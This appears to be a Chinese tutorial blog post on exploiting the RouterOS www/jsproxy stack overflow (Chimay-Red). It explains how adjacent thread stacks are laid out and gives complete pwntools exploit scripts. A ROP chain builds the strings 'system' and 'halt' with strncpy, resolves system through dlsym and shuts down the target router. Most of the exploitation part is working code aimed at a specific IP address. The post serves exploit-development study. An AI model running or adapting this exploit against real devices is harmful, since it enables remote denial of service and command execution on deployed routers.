前言


本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


前面已经分析完漏洞,并且搭建好了调试环境,本文将介绍如何利用漏洞写出 exploit

正文

控制 eip

看看我们现在所拥有的能力

我们可以利用 allocasub esp * 把栈抬高,然后往 那里写入数据。

现在的问题是我们栈顶的上方有什么重要的数据是可以修改的。

一般情况下,我们是没办法利用的,因为 栈上面就是 堆, 而他们之间的地址是不固定的。

为了利用该漏洞,需要了解一点多线程实现的机制,不同线程拥有不同的线程栈, 而线程栈的位置就在 进程的 栈空间内。线程栈 按照线程的创建顺序,依次在 栈上排列。线程栈的大小可以指定。默认大概是 8MB.

写了一个小程序,测试了一下。

#include <pthread.h>
#include <stdio.h>
#include <sys/time.h>
#include <string.h>
#define MAX 10
pthread_t thread[2];
pthread_mutex_t mut;
int number=0, i;
void *thread1()
{
int a;
printf("thread1 %p\n", &a);
}
void *thread2()
{
int a;
printf("thread2 %p\n", &a);
}
void thread_create(void)
{
int temp;
memset(&thread, 0, sizeof(thread)); //comment1
/*创建线程*/
if((temp = pthread_create(&thread[0], NULL, thread1, NULL)) != 0) //comment2
printf("线程1创建失败!\n");
else
printf("线程1被创建\n");
if((temp = pthread_create(&thread[1], NULL, thread2, NULL)) != 0) //comment3
printf("线程2创建失败");
else
printf("线程2被创建\n");
}
void thread_wait(void)
{
/*等待线程结束*/
if(thread[0] !=0) { //comment4
pthread_join(thread[0],NULL);
printf("线程1已经结束\n");
}
if(thread[1] !=0) { //comment5
pthread_join(thread[1],NULL);
printf("线程2已经结束\n");
}
}
int main()
{
/*用默认属性初始化互斥锁*/
pthread_mutex_init(&mut,NULL);
printf("我是主函数哦,我正在创建线程,呵呵\n");
thread_create();
printf("我是主函数哦,我正在等待线程完成任务阿,呵呵\n");
thread_wait();
return 0;
}

就是打印了两个线程中的栈内存地址信息,然后相减,就可以大概知道线程栈的大小。

多次运行发现,线程栈之间应该是相邻的,因为打印出来的值的差是固定的。

线程栈也是可以通过 pthread_attr_setstacksize 设置, 在 RouterOswwwmain 函数里面就进行了设置。

所以在 www 中的线程栈的大小 为 0x20000

当我们同时开启两个 socket 连接时,进程的栈布局

此时在 线程 1 中触发漏洞,我们就能修改 线程 2 的数据。

现在的思路就很简单了,我们去修改 线程2 中的某个返回地址, 然后进行 rop.为了精确控制返回地址。先使用 cyclic 来确定返回地址的偏移.因为该程序线程栈的大小为 0x20000 所以用一个大一点的值试几次就能试出来。

from pwn import *

def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n" s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80) s1.send(makeHeader(0x20900))
sleep(0.5)
pause()
s2.send(makeHeader(0x100))
sleep(0.5)
pause() s1.send(cyclic(0x2000))
sleep(0.5)
pause() s2.close() # tigger
pause()

崩溃后的位置

然后用 eip 的值去计算下偏移

然后调整 poc 测试一下

ok, 接下来就是 rop 了。

rop

程序中没有 system, 所以我们需要先拿到 system 函数的地址,然后调用 system 执行命令即可。

这里采取的 rop 方案如下。

  • 首先 通过 rop 调用 strncpy 设置我们需要的字符串(我们只有一次输入机会)
  • 然后调用 dlsym , 获取 system 的函数
  • 调用 system 执行命令

使用 strncpy 设置我们需要的字符串的思路非常有趣。 因为我们只有一次的输入机会,而dlsymsystem 需要的参数都是 字符串指针, 所以我们必须在 调用它们之前把 需要的字符串事先布置到已知的地址,使用 strncpy 我们可以使用 程序文件中自带的一些字符来拼接字符串。

下面看看具体的 exp

首先这里使用 了 ret 0x1bb 用来把栈往下移动了一下,因为程序运行时会修改其中的一些值,导致 rop 链被破坏,把栈给移下去就可以绕过了。(这个自己调 rop 的时候注意看就知道了。)

首先我们得设置 system 字符串 和 要执行的命令 这里为 halt(关机命令)。 以 system 字符串 的构造为例。

分3次构造了 system 字符串,首先设置 sys , 然后 te , 最后 m.

同样的原理设置好 halt , 然后调用 dlsym 获取 system 的地址。

执行 dlsym(0, "system") 即可获得 system 地址, 函数返回时保存在 eax, 所以接下来 在栈上设置好参数(halt 字符串的地址) 然后 jmp eax 即可。

下面调试看看

首先 ret 0x1bb, 移栈

然后是执行 strncpy 设置 system.

设置完后,我们就有了 system

然后执行 dlsym(0, "system")

执行完后, eax 保存着 system 函数的地址

然后利用 jmp eax 调用 system("halt").

运行完后,系统就关机了。

最后

理解了多线程的机制。 对于不太好计算的,可以猜个粗略的值,然后使用 cyclic 来确定之。 strncpy 设置字符串的技巧不错。 dlsym(0, "system") 可以用来获取函数地址。调试 rop 时要细心,rop 链被损坏使用 ret * 之类的操作绕过之。一些不太懂的东西,写个小的程序测试一下。

exp

from pwn import *

def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n" s1 = remote("192.168.2.124", 80)
s2 = remote("192.168.2.124", 80) s1.send(makeHeader(0x20900))
sleep(0.5)
pause()
s2.send(makeHeader(0x100))
sleep(0.5)
pause() strncpy_plt = 0x08050D00
dlsym_plt = 0x08050C10 system_addr = 0x0805C000 + 2
halt_addr = 0x805c6e0 #pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
# .text:08059C03 pop ebx
# .text:08059C04 pop esi
# .text:08059C05 pop ebp
# .text:08059C06 retn
ppp_addr = 0x08059C03
pp_addr = 0x08059C04
pppppr_addr = 0x080540b4
# 0x0805851f : ret 0x1bb
ret_38 = 0x0804ae8c
ret_1bb = 0x0805851f
ret = 0x0804818c
# make system str payload = ""
payload += p32(ret_1bb) # for bad string
payload += p32(ret)
payload += "A" * 0x1bb
payload += p32(ret) # ret payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr)
payload += p32(0x0805ab58) # str syscall
payload += p32(3)
payload += "B" * 8 # padding payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 3)
payload += p32(0x0805b38d) # str tent
payload += p32(2)
payload += "B" * 8 # padding payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(system_addr + 5)
payload += p32(0x0805b0ec) # str mage/jpeg
payload += p32(1)
payload += "B" * 8 # padding payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr)
payload += p32(0x0805670f)
payload += p32(2)
payload += "B" * 8 # padding payload += p32(strncpy_plt)
payload += p32(pppppr_addr)
payload += p32(halt_addr + 2)
payload += p32(0x0804bca1)
payload += p32(2)
payload += "B" * 8 # padding # call dlsym(0, "system") get system addr
payload += p32(dlsym_plt)
payload += p32(pp_addr)
payload += p32(0)
payload += p32(system_addr) payload += p32(0x0804ab5b)
payload += "BBBB" # padding ret
payload += p32(halt_addr) s1.send(cyclic(1612) + payload + "B" * 0x100)
sleep(0.5)
pause()
s2.close() pause()

参考

https://github.com/BigNerd95/Chimay-Red

一步一步 Pwn RouterOS之exploit构造的更多相关文章

  1. 一步一步pwn路由器之wr940栈溢出漏洞分析与利用

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...

  2. 一步一步pwn路由器之rop技术实战

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...

  3. 一步一步学ROP之linux_x64篇

    一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防 ...

  4. 一步一步学ROP之gadgets和2free篇(蒸米spark)

    目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...

  5. 一步一步学ROP之linux_x64篇(蒸米spark)

    目录 一步一步学ROP之linux_x64篇(蒸米spark) 0x00 序 0x01 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击 0x02 ...

  6. 一步一步学ROP之linux_x86篇(蒸米spark)

    目录 一步一步学ROP之linux_x86篇(蒸米spark) 0x00 序 0x01 Control Flow Hijack 程序流劫持 0x02 Ret2libc – Bypass DEP 通过r ...

  7. 如何一步一步用DDD设计一个电商网站(九)—— 小心陷入值对象持久化的坑

    阅读目录 前言 场景1的思考 场景2的思考 避坑方式 实践 结语 一.前言 在上一篇中(如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成),有一行注释的代码: public interfa ...

  8. 如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成

    阅读目录 前言 建模 实现 结语 一.前言 前面几篇已经实现了一个基本的购买+售价计算的过程,这次再让售价丰满一些,增加一个会员价的概念.会员价在现在的主流电商中,是一个不大常见的模式,其带来的问题是 ...

  9. 如何一步一步用DDD设计一个电商网站(十)—— 一个完整的购物车

     阅读目录 前言 回顾 梳理 实现 结语 一.前言 之前的文章中已经涉及到了购买商品加入购物车,购物车内购物项的金额计算等功能.本篇准备把剩下的购物车的基本概念一次处理完. 二.回顾 在动手之前我对之 ...

随机推荐

  1. 【洛谷P4934】 礼物,拓扑排序

    题目大意:给你$n$个不重复的数,其值域为$[0,2^k)$,问你至少需要将这$n$个数拆成多少个集合,使得它们互相不是对方的子集,并输出方案. 数据范围:$n≤10^6$,$k≤20$. $MD$我 ...

  2. Linq基础知识小记四之操作EF

    1.EF简介 EF之于Linq,EF是一种包含Linq功能对象关系映射技术.EF对数据库架构和我们查询的类型进行更好的解耦,使用EF,我们查询的对象不再是C#类,而是更高层的抽象:Entity Dat ...

  3. (01)JVM-内存三大核心区域以及分析

    package org.burning.sport.jvm; /** *  从JVM调用的角度分析Java程序对内存空间的使用, * 当JVM进程启动的时候,会从类加载器路径中找到包含main方法的入 ...

  4. Zookeeper在Centos7上搭建单节点应用

    (默认机器上已经安装并配置好了jdk) 1.下载zookeeper并解压 $ tar -zxvf zookeeper-3.4.6.tar.gz 2.将解压后的文件夹移动到 /usr/local/ 目录 ...

  5. Android中实时预览UI和编写UI的各种技巧

    一.啰嗦 之前有读者反馈说,你搞这个所谓的最佳实践,每篇文章最后就给了一个库,感觉不是很高大上.其实,我在写这个系列之初就有想过这个问题.我的目的是:给出最实用的库来帮助我们开发,并且尽可能地说明这个 ...

  6. Android 开发工具类 25_getJSON

    获取 JSON 数据并解析 import java.io.InputStream; import java.net.HttpURLConnection; import java.net.URL; im ...

  7. Python——可变类型与不可变类型(即为什么函数默认参数要用元组而非列表)

    Python 的内建标准类型有一种分类标准是分为可变类型与不可变类型: 可变类型:列表.字典 不可变类型:数字.字符串.元组 因为变量保存的实际都是对象的引用,所以在给一个不可变类型(比如 int)的 ...

  8. alloca() 是什么?为什么不提倡使用它?

    在调用 alloca() 的函数返回的时候, 它分配的内存会自动释放.也就是说, 用 alloca 分配的内存在某种程度上局部于函数的 ``堆栈帧"  或上下文中. alloca() 不具可 ...

  9. JAVA-4NIO之Channel之间的数据传输

    转载:自并发编程网ifeve.com 在Java NIO中,如果两个通道中有一个是FileChannel,那你可以直接将数据从一个channel(译者注:channel中文常译作通道)传输到另外一个c ...

  10. C# WPF打包部署时添加注册表信息实现开机启动

    使用VS自带的打包模块可以很方便的对项目进行打包部署,同时我们也可以在安装部署时操作注册表实现开机启动软件.具体实现如下: 创建安装部署这部分就不用说了,添加安装部署项目后,鼠标右键安装项目-> ...